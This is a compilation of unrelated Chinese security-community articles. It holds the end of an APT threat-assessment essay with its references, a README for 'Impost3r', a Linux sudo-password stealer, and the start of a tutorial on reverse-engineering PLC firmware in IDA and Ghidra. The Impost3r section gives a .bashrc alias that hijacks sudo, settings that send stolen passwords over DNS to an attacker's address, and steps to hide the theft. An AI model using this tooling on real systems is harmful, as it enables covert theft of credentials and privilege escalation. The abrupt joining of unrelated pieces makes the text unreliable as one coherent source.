A：对于确定性问题，归纳方式是最好的解决方法，但对于APT这样的问题，不能用明确的概念及定义来描述的问题，归纳本身是不具有绝对说服力的。我们的出发点是演绎方式，我们是在假设激活函数F,攻击意向E一定的条件下,进行归纳总结的。我研究目标具有多个变量，如果不确定其中之一，是没有办法同时讨论这两个变量的。
**7-**
Q:如何识别更多的APT表象？
A:APT表象问题是外部的，防御系统内部需要有相关的属性去响应这些外部的表象，换句话说如果系统内部不具有相当多的关于每一例APT案例的属性分析，那么很难去识别更多的APT问题。APT表象也分为2大类：1）重复性的利用；2）创新出来的新表象。对于1）可以使用过往经验来解决，对于2）则需要综合分析判断，以此来增加防御系统的新知识。
**8-**
Q：当我们谈论APT时更多的是指哪些令人关注的地方？
A：我们谈论APT时更多的是概念直观当中自己所能够接受理解的高级威胁，但实际的情况是从经验直观中所观察到的情况，这里存在着非常大的概念边界的模糊差异。我们关注的是这次的APT是不是超越以往的经验中的案例，并以此来更新自己关于高级威胁的认知。
**9-**
Q: 如果APT的决定因素仅在于攻击者意向和攻击素材，那如何构造出千变万化的不同形态的攻击能力与攻击组织？
A：构成APT的意向，素材不同，APT表象就会不同，同一因素的构成方式或比例不同，APT表象就不同。刺激APT的因素不同，APT表象也会不同。即便刺激因素相同，但如果刺激的强度不同，APT的表象同样会不同，攻击组织的技术水平参差不齐，即便攻击素材与意向相同最终也很难呈现一样的表象。
**10** -
Q：对APT的深入研究，最终是否可以取得防御的全面的胜利？
A： 不存在任何完美的成就，一切都在创造之中。我们看不到终点，而只看到走向终点的道路。光辉的顶点尚未到达，细致入微的改进还在继续. - 歌德
## 0x07 附录
详细信息见：<http://www.vxjump.net/files/a_page/7/aptr.htm>
《附录一：主要感染模块~WTR4132.tmp的逆向分析》
《附录二：主要感染模块~WTR4132.tmp攻击载荷部分的逆向分析》
《附录三：通过lnk漏洞加载的～WTR4141.tmp的逆向分析》
《附录四：内核rootkit-MRXNet.sys的逆向分析》
《附录五：关于内核提权漏洞CVE-2010-2743的分析与利用》
《附录六：关于Windows Shell远程代码执行漏洞CVE-2010-2568的分析与利用》
《附录七：关于打印机远程任意代码执行漏洞CVE-2010-2729的分析与利用》
《附录八：关于Windows 计划任务导致内核提权漏洞CVE-2010-3338的分析与利用》
《附录九：ITW 0Day：LNK远程代码执行漏洞（CVE-2017-8464）的简要分析》
《附录十：Symantec赛门铁壳通报的Stuxnet相关信息摘要》
《附录十一：APT高级威胁组织攻击力量化列表》
//--依据文中提出的高级威胁评估模型进行的相关分析报告
2018-06-13
《LuckyMouse-APT27:攻击行动评估》
2018-06-13
《VPNFilter:攻击行动评估》
2018-03-09
《Slingshot APT:攻击行动评估》
2018-03-08
《OlympicDestroyer:攻击行动评估》
2018-02-20
《APT37:攻击行动评估》
2018-01-27
《GravityRAT APT:攻击行动评估》
2018-01-18
《Dark Caracal APT:攻击行动评估》
2017-12-07
《Oilrig-APT34:攻击行动评估》
2017-11-07
《Sowbug APT:攻击行动评估》
2017-10-30
《Gaza Cybergang APT:攻击行动评估》
2017-10-06
《BlackOasis APT:攻击行动评估》
2017-08-30
《WhiteBear APT:攻击行动评估》
2016-08-07
《ProjectSauron APT:攻击行动评估》
2016-07-21
《Sphinx APT:攻击行动评估》
2016-07-07
《PatchWork APT:攻击行动评估》
2016-04-12
《Platinum APT:攻击行动评估》
2016-03-13
《Lazarus APT:攻击行动评估》
2016-03-01
《Transparent Tribe:攻击行动评估》
2016-01-28
《Black Energy:攻击行动评估》
2016-01-24
《Scarlet Mimi:攻击行动评估》
2016-01-07
《DustySky APT:攻击行动评估》
2015-12-18
《Lotus Blossom:攻击行动评估》
2015-08-20
《Blue-termite:攻击行动评估》
2015-07-30 《Potao Express:攻击行动评估》
2015-07-08
《Wild-Neutron:攻击行动评估》
2015-06-09
《Duqu2 APT:攻击行动评估》
2015-05-29
《Oceanlotus-APT32:攻击行动评估》
2015-05-14
《Naikon APT:攻击行动评估》
2015-04-21
《CozyDuke APT:攻击行动评估》
2015-04-15
《Hellsing APT:攻击行动评估》
2015-03-06
《Animal Farm:攻击行动评估》
2015-02-17
《Desert Falcons:攻击行动评估》
2014-12-08
《Turla APT:攻击行动评估》
2014-11-10
《Regin APT:攻击行动评估》
2014-11-10
《Darkhole APT:攻击行动评估》
2014-10-28
《APT28:攻击行动评估》
2014-10-22
《Pawn Storm:攻击行动评估》
2014-10-14
《Sandworm Team:攻击行动评估》
2014-07-04
《Dragonfly:攻击行动评估》 2014-02-11
《Saffron Rose:攻击行动评估》
2014-02-11
《Masked APT:攻击行动评估》
2014-01-14
《Icefog APT:攻击行动评估》
2013-09-17
《DeputyDog-APT17:攻击行动评估》
2013-09-17
《Hidden Lynx:APT 攻击行动评估》
2013-06-30
《Deep Panda:攻击行动评估》
2013-06-04
《NetTraveler APT:攻击行动评估》
2013-04-11
《Winnit:攻击行动评估》
2013-03-20
《Dark Seoul(Operation Troy):攻击行动评估》
2013-03-17
《Safe APT:攻击行动评估》
2013-02-19
《APT1:攻击行动评估》
2013-02-012
《MiniDuke APT:攻击行动评估》
2013-01-18
《Red October APT:攻击行动评估》
2012-11-01
《Shamoon APT:攻击行动评估》
2012-09-29
《Georbot APT:攻击行动评估》
2012-09-06
《Elderwood APT:攻击行动评估》
2012-08-18
《Taidoor APT:攻击行动评估》
2012-08-09
《Gauss:高斯攻击行动评估》
2012-05-25
《Flame:超级火焰病毒攻击行动评估》
2012-03-29
《Luckycat APT:攻击行动评估》
2012-03-22
《IXESHE-APT12:攻击行动评估》
2012-01-03
《HeartBeat APT:攻击行动评估》
2011-12-12
《1.php APT group:攻击行动评估》
2011-10-31
《Nitro APT:攻击行动评估》
2011-09-22
《Lurid Downloader APT:攻击行动评估》
2011-09-01
《Duqu:毒区攻击行动评估》
2011-08-04
《RSA Hacked:攻击行动评估》
2011-02-10
《Night Dragon:夜龙攻击行动评估》
2010-09-30
《Stuxnet:震网攻击行动评估》
2010-02-10
《Aurora:极光攻击行动评估》
## 0x08 后记
记得2011年去参加ISF安全会议，武汉大学彭老师谈到的APT的相关问题令我印象深刻，之后对此类问题尤其关注，在AVG的工作期间也重点研究高级威胁方面的技术问题，后来在McAfee
IPS研究小组则主要以漏洞利用及防御和恶意代码研究为主要的内容，虽非直接参与这方面的具体工作，但对于高级威胁的相关事件一直都保持着相当的兴趣和关注，没想到这一晃已经有6，7年的时间了。在13，14年关于APT的话题占据了全球各大安全会议的热门榜单，那个时候我是不敢去讨论这个问题，一怕思考的不够成熟且这个问题非常难谈，二是怕有跟风蹭热点之嫌。
随着大数据，以及AI应用于安全领域技术的兴起，APT终于不再是个热点话题，我也可以不再惶恐地讨论这一问题。遂在15年时，下决心完成这方面的研究工作。16年的春节期间完成了最初的评估模型，也写下了初稿，中间断断续续地补些遗漏的地方。现在，也把相关的这个事情做完了，但关于高级威胁的问题恐怕没有完结的时间表，只希望借此处抛砖引玉，如果恰好这里谈到的问题对您工作有点帮助那将是我的最大愿望，如果完全不认同，那估且当作是个无聊冗长的故事读读，但如果您有完整而系统的这方面想法愿意分享，那我将不胜感激，欢迎您能发邮件给我，neineit_AT_gmail.com
:)
行文至此，虽辗转反侧，几经考量，但仍然难免挂一漏万唯恐贻笑大方。因此，若有错误及不当之处还敬请大家谅解与批评指正。
## 参考引用
[1].[https://www.ibm.com/common/ssi/cgi-bin/ssialias?subtype=BK&inafotype=PM&htmlfid=WGM12357USEN&attachment=WGM12357USEN.PDF](https://www.ibm.com/common/ssi/cgi-bin/ssialias?subtype=BK&inafotype=PM&htmlfid=WGM12357USEN&attachment=WGM12357USEN.PDF)
[https://www-01.ibm.com/common/ssi/cgi-bin/ssialias?htmlfid=WGB03050USEN&](https://www-01.ibm.com/common/ssi/cgi-bin/ssialias?htmlfid=WGB03050USEN&)
<https://media.kaspersky.com/en/business-security/enterprise/TMD_Product_Whitepaper_Customer_0418_EN_GLB.pdf>
<https://www.symantec.com/zh/cn/products-solutions/families/advantages.jsp?fid=adv-threat-prot>
[2].<http://www.freebuf.com/articles/system/105892.html>
[3].<https://securingtomorrow.mcafee.com/mcafee-labs/threat-actors-use-encrypted-office-binary-format-evade-detection/>
<https://www.fireeye.com/content/dam/fireeye-www/products/pdfs/pf/web/rpt-delta-testing.pdf>
<https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html>
[4].不同安全厂商，工业界，学术界都有各自对高级威胁的理解：
<https://www.symantec.com/zh/cn/solutions/cloud-security/defend-against-threats>
<https://www.secureworks.com/blog/advanced-persistent-threats-apt-a>
<http://tominfosec.blogspot.com/2010/02/understanding-apt.html>
<https://www.academia.edu/6309905/Advanced_Persistent_Threat_-_APT>
<https://www.damballa.com/knowledge/advanced-persistent-threats.php>
<http://www.usenix.org/event/lisa09/tech/slides/daly.pdf>
[5].这个概念被扩大化来看，尽管我不认同被扩展后的含义，但我认可人们口中表达APT时所说的含义只有这个词最能体现。当然，一些厂商更倾向于这样的概念扩大化，因为这样就可以把
各种安全产品都打包到APT这个概念里面延长客户对其的产品的好感与产品生命周期
[6].<https://www.fireeye.com/current-threats/recent-zero-day-attacks.html>
[7].2015年之后发现的APT事件持续增多：
<https://www.bluecoat.com/security-blog/2015-01-20/reversing-inception-apt-malware>
<https://securelist.com/blog/research/68732/the-great-bank-robbery-the-carbanak-apt/>
<https://securelist.com/blog/research/68817/the-desert-falcons-targeted-attacks/>
<http://securelist.com/blog/research/69114/animals-in-the-apt-farm/>
<https://www.fireeye.com/blog/threat-research/2015/04/apt_30_and_the_mecha.html>
<http://securelist.com/analysis/publications/69567/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/>
<https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html>
<http://securelist.com/blog/69731/the-cozyduke-apt>
<https://securelist.com/analysis/publications/69953/the-naikon-apt/>
<https://securelist.com/blog/research/70029/the-naikon-apt-and-the-msnmm-campaigns/>
<http://www.antiy.net/p/analysis-on-apt-to-be-attack-that-focusing-on-chinas-government-agency/>
<https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html>
<http://blog.dragonthreatlabs.com/2015/07/dtl-06282015-01-apt-on-taiwan-insight.html>
<http://researchcenter.paloaltonetworks.com/2015/07/apt-group-ups-targets-us-government-with-hacking-team-flash-exploit/>
<http://www.volexity.com/blog/?p=158>
<https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html>
<https://www.f-secure.com/weblog/archives/00002822.html>
<http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Labs-Analysis-Webmail-Sever-APT.pdf>
<https://securelist.com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/>
[8].<https://tools.cisco.com/security/center/viewAlert.x?alertId=39835>
<https://www.theguardian.com/technology/2014/oct/29/russian-hacker-group-cyber-attacks-apt28>
[9].Pwn2Own2015开始独角兽项目IE11+EMET为攻击目标，至此Vupen宣布退出，Pwn2Own2017开始引入攻击VMWARE比赛项目。
<https://www.thezdi.com/blog/2017/1/18/pwn2own-returns-for-2017-to-celebrate-10-years-of-exploits>
<https://threatpost.com/pwn2own-paying-150000-grand-prize-for-microsoft-emet-bypass/104015/>
<http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Pwn2Own-s-New-Exploit-Unicorn-Prize-Additional-Background-for/ba-p/6357753#.Uu--uvn-OSo>
[10].<https://securelist.com/blog/research/73440/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/>
<https://securelist.com/blog/software/74503/freezer-paper-around-free-meat/>
<https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/>
<http://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets>
<https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf>
<http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates>
<http://blog.trendmicro.com/trendlabs-security-intelligence/an-in-depth-look-at-how-pawn-storms-java-zero-day-was-used/>
<http://newsroom.trendmicro.com/blog/operation-iron-tiger-attackers-shift-east-asia-united-states >
<http://www.trendmicro.tw/vinfo/us/security/news/cyber-attacks/rocket-kitten-continues-attacks-on-middle-east-targets>
[11].卡巴斯基的引擎能力包括，高准确性的检测算法（二段偏移＋校验值），文件解包模块，静态脱壳模块，obj库的算法扫描能力＋虚拟机的动态启发式检测。相比其它而言，卡巴斯基的病毒命名体系具有相当的准确性及科学性。采用平台＋家族＋类型＋变种
[12].索伦之眼的相关报告：
<https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/>
<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07190156/The-ProjectSauron-APT_Technical_Analysis_KL.pdf>
[13].测试样本的md5:2A8785BF45F4F03C10CD929BB0685C2D &
4728A97E720C564F6E76D0E22C76BAE5
[14].我在2011年7月就应Virus-lab的国外同事的请求分析过Duqu的一个spy模块，但当时并不清楚这是什么，2011年10月卡巴斯基公布来Duqu这一信息之后我才发现其中之一的样本我分析过，因为分析时并没有母体word文档包含的内核字体漏洞CVE-2011-3402样本，我当时并不清楚这单独的需要输入参数才能运行的spy模块代表怎样的威胁等级。
[15].<https://www.cymmetria.com/wp-content/uploads/2016/07/Unveiling-Patchwork.pdf>
<http://blog.trendmicro.com/trendlabs-security-intelligence/untangling-the-patchwork-cyberespionage-group/>
<https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/>
<https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/>
[16.]<http://www.slideshare.net/daniel_bilar/crowd-strike-globalthreatreport2013>
<https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage>
[17.]Gauss:<https://securelist.com/analysis/publications/36620/gauss-abnormal-distribution/downloads/vlpdfs/kaspersky-lab-gauss.pdf>
[18.]<http://www.rsa.com/node.aspx?id=3872>
[19.]<http://www.antiy.com/response/EQUATION_DRUG/EQUATION_DRUG.html>
[20.]很多人喜欢讨论杀毒软件特征码技术落后具有滞后性，以此认为动态行为分析是解决APT的方案，其实不知动态行为一样可以被隐藏，被绕过监控，一劳永逸的规则与解决方案。
[21.]《乌克兰电力系统遭受攻击事件综合分析报告》
<http://www.antiy.com/response/A_Comprehensive_Analysis_Report_on_Ukraine_Power_Grid_Outage/A_Comprehensive_Analysis_Report_on_Ukraine_Power_Grid_Outage.html>
<http://www.antiy.com/response/A_Comprehensive_Analysis_Report_on_Ukraine_Power_Grid_Outage/A_Comprehensive_Analysis_Report_on_Ukraine_Power_Grid_Outage.pdf>
<http://blog.nsfocus.net/ukraine-power-plant-attack-analysis-protection-programs/>
[22].研究过Sandworm APT的人一定还记得CVE-2014-4114这个OLE远程代码执行漏洞。这是一个逻辑漏洞不需要BYPASS
DEP+ASLR，不需考虑版本兼容性稳定性问题。之后间接的引发了研究office ole／com对象安全问题的热潮。
[23].<https://ics-cert.us-cert.gov/advisories/ICSA-10-238-01B>
[24].<http://www.freebuf.com/news/131994.html>
<http://www.freebuf.com/news/128815.html>
[25].澳大利亚军方组建新网络司令部
<https://www.lowyinstitute.org/publications/full-spectrum-defence-re-thinking-fundamentals-australian-defence-strategy>
<http://www.abc.net.au/news/2017-06-30/cyber-warfare-unit-to-be-launched-by-australian-defence-forces/8665230>
<http://www.xinhuanet.com/mil/2018-02/01/c_129803547.htm>
<https://www.theaustralian.com.au/national-affairs/defence/australias-worldclass-cyber-warriors-take-the-fight-to-islamic-state/news-story/1c4d7c17c3cbc7435ad316077974ec59>
美国成立网络司令部
<https://en.wikipedia.org/wiki/Cyberwarfare_in_the_United_States>
<http://niis.cssn.cn/webpic/web/niis/upload/2012/12/d20121207180137851.pdf>
<http://www.defense.gov/Portals/1/features/2015/0415_cyber-strategy/Final_2015_DoD_CYBER_STRATEGY_for_web.pdf>
<https://www.nytimes.com/2016/04/25/us/politics/us-directs-cyberweapons-at-isis-for-first-time.html>
[http://www.economist.com/node/16478792?story_id=16478792&fsrc=rss](http://www.economist.com/node/16478792?story_id=16478792&fsrc=rss)
[26].<https://www.langner.com/2010/09/ralphs-step-by-step-guide-to-get-a-crack-at-Stuxnet-traffic-and-behavior/>
<https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf>
[27].<https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/54/Stuxnet-malware-targets-scada-systems>
[28].<https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html>
<https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html>
<https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-APT-group-2.html>
<https://www.fireeye.com/current-threats/apt-groups.html#groups>
《Countdown to Zero Day: Stuxnet and the Launch of the World's First Digital
Weapon》
<https://www.amazon.com/Countdown-Zero-Day-Stuxnet-Digital/dp/0770436196>
《Reverse Deception: Organized Cyber Threat Counter-Exploitation》
[https://www.amazon.cn/dp/0071772499/ref=sr_1_2?ie=UTF8&qid=1532673929&sr=8-2&keywords=Sean+Bodmer%E3%80%80Max+Kilger%E3%80%80Gregory+Carpenter%E3%80%80Jade+Jones](https://www.amazon.cn/dp/0071772499/ref=sr_1_2?ie=UTF8&qid=1532673929&sr=8-2&keywords=Sean+Bodmer%E3%80%80Max+Kilger%E3%80%80Gregory+Carpenter%E3%80%80Jade+Jones)
《网络战：信息空间攻防历史、案例与未来》
[https://www.amazon.com/%E7%BD%91%E7%BB%9C%E6%88%98%EF%BC%9A%E4%BF%A1%E6%81%AF%E7%A9%BA%E9%97%B4%E6%94%BB%E9%98%B2%E5%8E%86%E5%8F%B2%E3%80%81%E6%A1%88%E4%BE%8B%E4%B8%8E%E6%9C%AA%E6%9D%A5-%E4%BF%9D%E7%BD%97%C2%B7%E6%B2%99%E5%85%8B%E7%91%9E%E6%81%A9%EF%BC%88Paulo-Shakarian-%EF%BC%8C%E4%BA%9A%E5%A8%9C%C2%B7%E6%B2%99%E5%85%8B%E7%91%9E%E6%81%A9%EF%BC%88Jana-Shakaria/dp/B01K19LMY2/ref=sr_1_3?s=books&ie=UTF8&qid=1532668345&sr=1-3&keywords=%E7%BD%91%E7%BB%9C%E6%88%98](https://www.amazon.com/%E7%BD%91%E7%BB%9C%E6%88%98%EF%BC%9A%E4%BF%A1%E6%81%AF%E7%A9%BA%E9%97%B4%E6%94%BB%E9%98%B2%E5%8E%86%E5%8F%B2%E3%80%81%E6%A1%88%E4%BE%8B%E4%B8%8E%E6%9C%AA%E6%9D%A5-%E4%BF%9D%E7%BD%97%C2%B7%E6%B2%99%E5%85%8B%E7%91%9E%E6%81%A9%EF%BC%88Paulo-Shakarian-%EF%BC%8C%E4%BA%9A%E5%A8%9C%C2%B7%E6%B2%99%E5%85%8B%E7%91%9E%E6%81%A9%EF%BC%88Jana-Shakaria/dp/B01K19LMY2/ref=sr_1_3?s=books&ie=UTF8&qid=1532668345&sr=1-3&keywords=%E7%BD%91%E7%BB%9C%E6%88%98)
《兰德报告:美国如何打赢网络战争》
[https://www.amazon.cn/dp/B00ENE0HDO/ref=sr_1_1?ie=UTF8&qid=1532668510&sr=8-1&keywords=%E5%85%B0%E5%BE%B7%E6%8A%A5%E5%91%8A](https://www.amazon.cn/dp/B00ENE0HDO/ref=sr_1_1?ie=UTF8&qid=1532668510&sr=8-1&keywords=%E5%85%B0%E5%BE%B7%E6%8A%A5%E5%91%8A)
* * * | 社区文章 |
# 写在前面
最近在做渗透的过程中，遇到了一些阻碍，在无法获得一些可用的密码以及root权限的情况下进程陷入了僵局，但是在查看history的过程当中发现所掌握的用户经常会登陆这台服务器并使用sudo命令开启一些服务或者其他的操作，故而想着弄个小脚本来尝试偷一下这个用户的sudo密码，但是找了一圈发现大多可用的脚本都比较老旧，要么是逻辑处理上有问题，要么就是考虑情况不是很全面，容易被用户发现异常，亦或者是操作痕迹无法自动清除，还需要登陆后手工清除，不是很安全。故而就花了一点时间写了一个简单的C程序，用来窃取sudo密码并自动清除痕迹，且最大程度上让被攻击用户无法察觉异常。
废话不多说，给各位大师傅们递上 ~~~一杯卡布奇诺~~ ~README (笑)
# Impost3r
Impost3r是一个利用C语言编写,用来窃取linux下sudo密码的工具
用户可使用此程序在普通用户权限下，制造水坑，窃取合法用户的sudo密码
> 此工具仅限于安全研究和教学，用户承担因使用此工具而导致的所有法律和相关责任！ 作者不承担任何法律和相关责任！
## 特性
* 自动擦除行为痕迹
* 通过DNS协议传输结果
* 用户无感
## 依赖
* gcc
## 使用方法
* 首先假设攻击者控制了一台服务器，权限为普通用户权限
* 拷贝一份用户的.bashrc`cp ～/.bashrc /tmp/`，并将这份副本放在攻击者自定义的路径下(本例中放置在/tmp/目录下，攻击者可以修改)
* 修改用户根目录下的.bashrc(～/.bashrc)，在最后一行添加如下语句：
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
* 添加完成后，保存文件并执行`source ~/.bashrc`
* 接着攻击者需要对Impost3r源代码进行修改：
# define MAX_RESEND 30 \\设置当窃取到密码之后，Impost3r向攻击者服务器发送用户密码的最大重试次数
# define RESEND_INTERVAL 5 \\设置每一次发送密码的间隔
# define FILENAME "/tmp/.impost3r" \\设置Impost3r在目标服务器上的位置
# define BACKUP_BASHRC "/tmp/.bashrc" \\设置攻击者备份的源.bashrc在目标服务器上的位置
# define REMOTE_ADDRESS "192.168.0.12" \\设置回送密码的远程地址
# define REMOTE_PORT 53 \\设置回送密码的远程端口
* 修改完成后，保存并在当前目录执行`make`
* 在当前目录下得到编译完成的`.impost3r`文件
* 上传`.impost3r`文件至目标服务器的`/tmp/`文件夹下(仅为示例，可自行修改，只需与源代码中定义相同即可)
* 攻击者在自己的服务器上启动dns服务端程序，等待合法用户使用`sudo`后获取密码。
## 窃取效果
## 注意事项
* Dns服务端程序我使用的是[Fdns](https://github.com/deepdarkness/Fdns)，并修改了一部分参数，大家可在文件夹Fdns下找到修改后的源代码，请自行利用命令`gcc -o dns main.c util.c`编译,当然，也可以用别的dns服务端程序，这里并不受限，但是必须是会回复dns response的服务端程序，而不是仅解析dns request。
* 程序窃取密码成功后将会自动擦除痕迹，并不需要攻击者上去手动清理
* 此程序仅是闲暇时开发学习，功能可能存在bug，请多多谅解，也欢迎反馈问题
### 致谢
* [Fdns](https://github.com/deepdarkness/Fdns) | 社区文章 |
# 工控安全入门（五）—— plc逆向初探
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
之前我们学习了包括modbus、S7comm、DNP3等等工控领域的常用协议，从这篇开始，我们一步步开始，学习如何逆向真实的plc固件。
用到的固件为<https://github.com/ameng929/NOE77101_Firmware>
目前网上几篇对于该固件的分析都是以2018工控安全题目解题为主，并没有相应的知识和说明，这次我们不会做题目方面的说明，而是重点关注如何从零开始逆向固件。
本系列涉及到vxworks操作系统、PowerPC
CPU架构的汇编语言、Ghrida的反编译问题，网上提供的资料较少，可能对于很多人来说是全新的知识。由于篇幅所限，也为了不让大家烦躁，我们暂且不对这两个新玩意儿进行长篇大论，我会将知识点穿插讲解。另外，建议大家使用windows系统，mac版的ida无法对PowerPC的固件进行函数识别，使用了好几个版本测试都存在该问题，原因暂时不明。
## 固件提取
这一步其实和路由器的固件逆向非常相似，厂商都会在官网提供固件的升级包，我们通过下载安装来更新设备的软件版本。不过路由器的版本更新相对于plc就频繁得多了，plc升级在大多数厂家的认识中是一件“麻烦”事（假如说一天一更新那工厂还干不干活了……），所以plc的固件是相对稳定的，我们选用的固件虽然看上去很“古老”，但如果考虑到我们现在不是进行漏洞挖掘，而是进行基础学习的话，就很合适了。
这里用到的工具就是大家熟知的binwalk，不过有所不同的是对于路由器来说，我们其实是“知根知底”的，因为架构和操作系统都还在我们的知识范围，而plc的操作系统和cpu就不那么友好了。
如图为binwalk操作某路由器固件，可以看到信息很多，包括文件系统等等一堆
如图为操作plc固件，基本可以说是啥信息都没有
直接binwalk -e
NOE77101.bin提取即可，对分离出来的文件再一次binwalk就可以看到很多有用的信息了，包括固件采用的操作系统、内核版本、符号表等等信息
至此我们成功提取除了固件，要注意的是，这里操作系统是vxworks，cpu则是big
endian的PowerPC，所以接下来分析工作并不是一帆风顺的，还需要经历诸多磨炼。
## 手动修复与自动修复
### 手动修复
我们将固件拖入ida准备开始分析
首先要修改处理器选项，因为ida并不能识别出来我们处理器的架构，我们需要将Processor type手动设置为PowerPC的big endian
接着ida还会让我们指定RAM和ROM的起始地址，在我们不知道的情况下，只能直接点击ok，剩下的选项都直接默认即可。其实这里已经有成熟的工具可以用来自动化识别了，但是考虑到我们是第一次实践，还是认认真真的尝试着走一遍。
进入后发现ida的函数少得可怜（mac版的就干脆一个也没有，笔者这里是在windows上保存了idb后在mac上操作的），而且一般的ida不支持对PowerPC的反编译，就很难受。当然，再难受也得硬着头皮看，先找到第一个函数。
看不懂？没事，我们一点点扣。首先这里大量使用到了r1处理器，在PPC（后文中PowerPC都会简称为PPC）中共有32个通用寄存器，虽然叫通用，但有一些寄存器和x86一样被“固化”了，比如r1就是栈寄存器，其余“固化”的还有：
* r0，函数序言（function prologs）阶段使用，一般不需要我们关心
* r2， toc指针，名字很高大上，其实就是系统调用时，标识系统调用号。
* r3，返回值
* r4-r10，参数，返回值较为特殊（比如乘法导致一个寄存器放不下的时候）时，r4也可以存放返回值
* r11，用在指针的调用和当作一些语言的环境指针。
* r12 ，用在异常处理和glink（动态连接器）代码。
* r13 ，保留作为系统线程ID。
* r14-r31，本地变量
还有好多好多寄存器，我们贯彻用到哪说哪的原则，这里就不再提了，需要我们再说。
lis r1,1
addi r1，r1，0
这两条指令可就有意思了，lis是加载立即数（load
Immediate）的意思，它将16位的立即数传送到r1，然后再左移16位，在本条指令中就是把1放到了寄存器的第17位上，也就是0x10000了。
这里就冒出来问题了，我们很显然一般用的都是32位数（不管是编程还是寄存器长度，一般都是32位）啊，PPC的指令长度为4个字节，也就是32位，除去指令码和寄存器外，根本就放不下32位的数，难不成这里的1就是16位的1？
当然不是啦，这里就要看第二条指令了，addi的意思就是让将r1的低十六位+0的值给r1的低十六位，这样就是lis操作高十六位，addi再补上低十六位，成功实现了32位立即数的传送。
下面关于r3的操作同理，接着又是addi操作，将r1的值减了0x10，然后是b指令，b指令就是call了，调用一个函数的意思。还记得r1是干什么的吗？没错，r1是栈寄存器啊，这里开始将栈赋值，然后又对一个栈地址进行了减法操作意味着什么？
没错，一开始进行的实际上是栈的初始化，我们把它叫做initStack，接着的减法实际上就是在栈上开辟了空间（栈是高地址向低地址增长的），这里就应该是整个固件的初始化函数的一部分。
、
再查看官方手册，我们发现，初始化的栈的地址也就是System
Image的地址，所以我们ida最开始选择的RAM、ROM的地址就应该是0x10000。我们重新用ida打开该程序，设置RAM、ROM，就可以发现识别的函数多了很多了。
这一步之后我们需要符号进行还原，毕竟谁也不愿意看着一堆sub_xxx来分析吧？这里我们就要用到binwalk告诉我们的符号表地址了（忘了吗?是0x301e74），我们用010editor打开固件，16进制形式分析，跳转到对应地址。
我们之前已经知道了这是vxworks5的固件，此类固件的符号表比较特殊，16字节为一组，分别表示的是符号字符串地址、符号所在地址、特殊标识（比如0x0500就是函数的意思）、0填充位，所以我们就可以按照这个规则来进行符号的修复。
脚本如下：（大家自行按照自己的固件地址对Start和end进行修改即可）
# coding:utf-8
from idaapi import *
import time
eaStart = 0x31eec4
eaEnd = 0x348114
ea = eaStart
while ea < eaEnd:
offset = 0
MakeStr(Dword(ea - offset), BADADDR)
sName = GetString(Dword(ea - offset), -1, ASCSTR_C)
print sName
if sName:
eaFunc = Dword(ea - offset + 4)
MakeName(eaFunc,sName)
MakeCode(eaFunc)
MakeFunction(eaFunc,BADADDR)
ea = ea + 16
print"ok"
修复完后ida的function栏可以说是相当友好了。
### 自动修复
上面我们对固件进行了繁琐的分析最终才完成了对于函数表的修复，实际上，已经有大神开发了一款插件可以对Vxworks的固件进行自动的修复和分析，这就是平安的银河安全实验室开发的vxhunter，大家可以去github自行下载（感谢大佬们的奉献）。
<https://github.com/dark-lbp/vxhunter>
之前我们手动分析用的是ida，自动部分我们就用Ghidra来进行（还有一个最大的好处是Ghidra支持对PowerPC的反汇编，所以之后的分析我们都采用Ghidra来进行）。
按照readme安装vxhunter，然后打开windows选项卡，选择scriptManager，运行脚本即可
耐心等待一段时间，即可完成
是不是非常简单？下一步就可以开始进行分析了。
## 小试牛刀
首先我们跳转到之前简单分析的initStack（要注意之前是0x4c，但是我们把基址设置为0x10000后地址应该是0x1004c）
可以看到在initStack操作后，进行了跳转，目标是usrInit，还记得参数的传递规则吗？没错，这里的r3就是为了传递参数的，可以看到，和我们之前说到的一样，还是使用lis和addi的搭配进行32位整数的传递
当然其实再往上看我们还可以发现r4寄存器的身影，因为PowerPC不像x86的stdcall，能通过push来判断哪些是函数的参数，所以我们只能是把r3~r10的身影都锁定，宁可错杀，不可放过。（我们也可以通过查看后续函数的调用来猜测，不过也是猜测，还是多注意为好）
这里可能有些人一看就慌神了，“我靠，这都不认识，怎么看啊？”，不慌不慌，其实这里的调用十分有规律，我们拆开看看
00010018 3c 80 04 00 lis r4,0x400
0001001c 38 84 00 00 addi r4,r4,0x0
00010020 7c 90 8b a6 mtspr IC_CSR,r4
00010024 7c 98 8b a6 mtspr DC_CST,r4
可以看到，实际上是进行了三组同样的操作，只不过是r4的值不一样罢了，我们选择一组来进行分析。
首先打头的还是lis和addi的组合，将r4的值设置为0x4000000，然后是mtspr指令，指令格式如下：
mtspr spc_reg,reg
